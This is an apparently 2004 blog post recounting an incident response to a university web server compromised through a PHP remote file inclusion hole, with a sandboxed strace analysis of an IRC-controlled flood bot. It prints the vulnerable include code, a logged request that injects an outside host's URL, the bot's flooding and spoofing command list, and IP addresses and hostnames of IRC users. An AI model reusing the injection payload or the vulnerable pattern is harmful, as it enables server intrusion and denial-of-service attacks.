ImperialViolet

Heeps cracked (13 Aug 2004)

Seeing an email titled "UMMMM.... BAD BAD THINGS ON HEEPS" isn't the best start to a day. In fact, I would go as far as to say that it sucks.

So heeps is heeps.union.ic.ac.uk, also known as www.union.ic.ac.uk and a whole lot of other hosts. the email from Sam:

sjs298@heeps music $ sudo ps aux | grep pra
Password:
www_soc  12644  0.0  0.0  1420  236 ?        S    Jul21   0:00 ./pra
sjs298@heeps music $ sudo netstat -ap | grep pra
tcp        0      0 *:18383                 *:*                     LISTEN      12644/pra          
sjs298@heeps music $ telnet localhost 18383    
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
 
sh-2.05b$ whoami
whoami
www_soc_medic_music
sh-2.05b$

Now I'd class that as a Hack... probably via PHPBB.
/www/doc_root/medic/music/forums < PHPBB 2.0.4

Certainly phpBB has been a pain in the past and this is why all php scripts run as a special, per group, user on heeps. But ok, not a huge deal. Security measures had worked, they didn't seem to have root and there were all manner of limits in place.

We also have great logging:

Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/bash (sh
-c /tmp/dsadas;rm -f /tmp/dsadas ) by (php:26669) UID(9113)
EUID(9113), parent (php:30434) UID(9113) EUID(9113)
Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /tmp/dsadas
(/tmp/dsadas ) by (sh:4796) UID(9113) EUID(9113), parent (sh:26669)
UID(9113) EUID(9113)
Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of
/tmp/upxDC5HNIQAEV2 (deleted) (/tmp/dsadas ) by (dsadas:4796)
UID(9113) EUID(9113), parent (sh:26669) UID(9113) EUID(9113)
Aug 12 23:13:15 heeps grsec: From 65.102.167.50: exec of /bin/rm (rm
-f /tmp/dsadas ) by (sh:9657) UID(9113) EUID(9113), parent (sh:26669)
UID(9113) EUID(9113)

Fairly standard. Unfortunately we didn't have the binary (it was deleted) and it was killed before we remembered to grab it out of /proc.

Looking in the logs:

www.union.ic.ac.uk 65.102.167.50 - - [12/Aug/2004:23:13:15 +0100] "GET
/medic/music/index.php?id=http://65.102.167.50:113/&width=http://65.102.167.50:113/
HTTP/1.0" 200 48920 "-" "Lynx/2.8.3dev.8 libwww-FM/2.14"

So it wasn't phpBB. There's a first. (nb: I'm sure that recent versions of phpBB are wonderfully quickly patched etc, but most of our users can't be bothered to keep track of recent versions.) The code at fault was fairly obvious:

if ($_GET['eventreview']) { @include "8.php" ; $id="8.php"; } elseif ($event)
{@include "2.php"; $id="2.php";} elseif  (!$id) { @include "1.php";
$id="1.php" ; } else { include "$id"; } ;

It include'ed a user controled string and someone just pointed it at an external webserver. Boilerplate.

Further information in the logs showed that most of the server had been crawled a few days beforehand. Any URLs with parameters in them were tried again while replacing the parameter value with an external php file which ran id or uname -a. Looks like an automated crawled designed to find scripts with these holes. This crawl was comming from a number of different hosts, using a number of different external values.

Ok, fine. Email the owner of the source IP address (probably a compromised box), disable the offending code, email the owner of said code. Easy. Done.

Sam collected together some random files owned by the compromised account in /tmp. Of these, there was a binary called moo. Strings suggests that it's an IRC controlled flood bot:

NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet

Ok, semi interesting. A few hours later (I am supposed to do some work at Google sometimes!) I came back to check around. Everything looks ok, though ifconfig is showing a lot of traffic. lsof -i -n … oh crap

moo processes - flooding some poor bastard. (Did I say that heeps is on a 100Mb/s link to the Internet?).

Panic. Kill them. Shutdown apache, vsftpd, everything. Move sshd onto a different port. Does ps auxw show anything odd? Nope. lsof or netstat? Nope. Packet counts? Epsilon. Root compromise? Possible; but ps auxw showed the moo processes - if that's a rootkit it sucks.

Look in the logs:

Aug 13 16:03:50 heeps grsec: From 155.198.78.202: exec of /tmp/moo (./moo ) by
(bash:14746) UID(1246) EUID(1246), parent (bash:17808) UID(1246) EUID(1246)

So the flooder process had been running for about six hours. No - I'm not even going to work out how much data you can push down a 100Mb/s link in six hours. UID 1246? That's Sam. Did he accidently run the damm payload? Is the box rooted? Fundamentally, does moo do anything more than strings suggests? I need to know exactly what moo does.

So setup a chroot jail here at Google. Put strace in it, su to a random UID and setup a firewall to stop that UID contacting the outside world.

2808  open("/usr/dict/words", O_RDONLY) = -1 ENOENT (No such file or directory)
2808  socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217Z\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\4corp\6g"..., 46, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
2808  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
2808  connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("0.0.0.0")}, 28) = 0
2808  send(4, "\217[\1\0\0\1\0\0\0\0\0\0\3irc\5efnet\2nl\0\0\1\0\1", 30, 0) = -1 EPERM (Operation not permitted)
2808  close(4)                          = 0
...

That's edited a lot. It just started flooding DNS requests. So, I let it contact a DNS server and connect to irc.efnet.nl.

2837  connect(3, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("193.109.122.77")}, 16) = 0
2837  setsockopt(3, SOL_SOCKET, SO_LINGER, NULL, 0) = -1 EINVAL (Invalid argument)
2837  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, NULL, 0) = -1 EINVAL (Invalid argument)
2837  setsockopt(3, SOL_SOCKET, SO_KEEPALIVE, NULL, 0) = -1 EINVAL (Invalid argument)
2837  write(3, "NICK MXQC\nUSER HNMKFQ localhost localhost :LTQQEFD\n", 51) = 51
2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1200, 0})
2837  recv(3, "NOTICE AUTH :*** Looking up your hostname...\r\nNOTICE AUTH :*** Checking Ident\r\nNOTICE AUTH :*** Found your hos
tname\r\n", 4096, 0) = 117
2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1190, 600000})
2837  recv(3, "NOTICE AUTH :*** No Ident response\r\n", 4096, 0) = 36
2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 830000})
2837  recv(3, "PING :936DFE7C\r\n", 4096, 0) = 16
2837  write(3, "PONG :936DFE7C\n", 15)  = 15
2837  select(4, [3], NULL, NULL, {1200, 0}) = 1 (in [3], left {1199, 820000})
2837  recv(3, ":irc.efnet.nl 001 MXQC :Welcome to the EFnet Internet Relay Chat Network MXQC\r\n", 4096, 0) = 79
2837  write(3, "MODE MXQC -xi\n", 14)   = 14
2837  write(3, "JOIN #krowy :krowa\n", 19) = 19
...

So it joins a private IRC channel. I can do that. A @google.com address got me banned pretty quickly. But not before I got a whois on everyone there:

--- [FDMYSGLM] (GIWcF7CNSH@badboy.icyhost.com) : UUTIDJJH
--- [FDMYSGLM] @#krowy 
--- [FDMYSGLM] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- FDMYSGLM 66.98.130.9 :actually using host
--- [FDMYSGLM] idle 49:13:19, signon: Tue Aug 10 15:54:49
--- [FDMYSGLM] End of WHOIS list.
--- [forger] (konrad@aay116.neoplus.adsl.tpnet.pl) : I'm too lame to read mirc.hlp
--- [forger] #hihaho #test45 @#krowy 
--- [forger] irc.efnet.pl :Discover a lost art - www.marillion.com
--- [forger] End of WHOIS list.
--- [its`me] (~ludziu@nat-0.infoland.int.pl) : ^=^
--- [its`me] @#krowy 
--- [its`me] irc.efnet.pl :Discover a lost art - www.marillion.com
--- [its`me] End of WHOIS list.
--- [MQJJEBR] (~WTKC@pc-212-51-219-2.p.lodz.pl) : DILLEUN
--- [MQJJEBR] @#krowy 
--- [MQJJEBR] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- MQJJEBR 212.51.219.2 :actually using host
--- [MQJJEBR] idle 49:13:27, signon: Tue Aug 10 16:01:19
--- [MQJJEBR] End of WHOIS list.
--- [ori00n] (h4x0r@dial-770.wroclaw.dialog.net.pl) : l33t
--- [ori00n] #test45 #cc @#krowy 
--- [ori00n] irc.efnet.pl :Discover a lost art - www.marillion.com
--- [ori00n] End of WHOIS list.
--- [YDMOCCRO] (~KQFU@banks.su.nottingham.ac.uk) : JHASTZIH
--- [YDMOCCRO] @#krowy 
--- [YDMOCCRO] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- YDMOCCRO 128.243.90.87 :actually using host
--- [YDMOCCRO] idle 49:13:32, signon: Tue Aug 10 16:48:28
--- [YDMOCCRO] End of WHOIS list.
--- [agl] (~agl@216-239-45-4.google.com) : agl
--- [agl] #krowy 
--- [agl] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- agl 216.239.45.4 :actually using host
--- [agl] idle 00:00:49, signon: Fri Aug 13 14:07:34
--- [agl] End of WHOIS list.
--- [MITPIXPN] (~BJSAQXGU@211.239.197.130) : MIHSH
--- [MITPIXPN] #krowy 
--- [MITPIXPN] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- MITPIXPN 211.239.197.130 :actually using host
--- [MITPIXPN] idle 00:18:13, signon: Fri Aug 13 13:50:23
--- [MITPIXPN] End of WHOIS list.
--- [NKKXLTC] (www-data@rei.animehq.hu) : WSOV
--- [NKKXLTC] #krowy 
--- [NKKXLTC] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- NKKXLTC 195.70.50.20 :actually using host
--- [NKKXLTC] idle 00:19:31, signon: Fri Aug 13 13:49:00
--- [NKKXLTC] End of WHOIS list.
--- [PHQW] (~FNWDDYH@dsl-213-023-046-090.arcor-ip.net) : SYEV
--- [PHQW] #krowy 
--- [PHQW] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- PHQW 213.23.46.90 :actually using host
--- [PHQW] idle 00:11:23, signon: Fri Aug 13 13:57:17
--- [PHQW] End of WHOIS list.
--- [VQMVYOHE] (~WEEBA@211.239.197.130) : HBQFDHTF
--- [VQMVYOHE] #krowy 
--- [VQMVYOHE] irc.efnet.nl :Business Internet Trends IPv4/IPv6 EFNet server
--- VQMVYOHE 211.239.197.130 :actually using host
--- [VQMVYOHE] idle 00:18:09, signon: Fri Aug 13 13:50:34
--- [VQMVYOHE] End of WHOIS list.

Looks like forger is running the game as he quickly kicks the jailed moo bot that I'm running (also from @google.com). He then changes his nick to shitniz, like it will help.

But thankfully moo seems to do exactly what it says on the tin; so probably not a problem. Oh, and that channel is now invite only. I guess he got scared. shitniz is still there thou.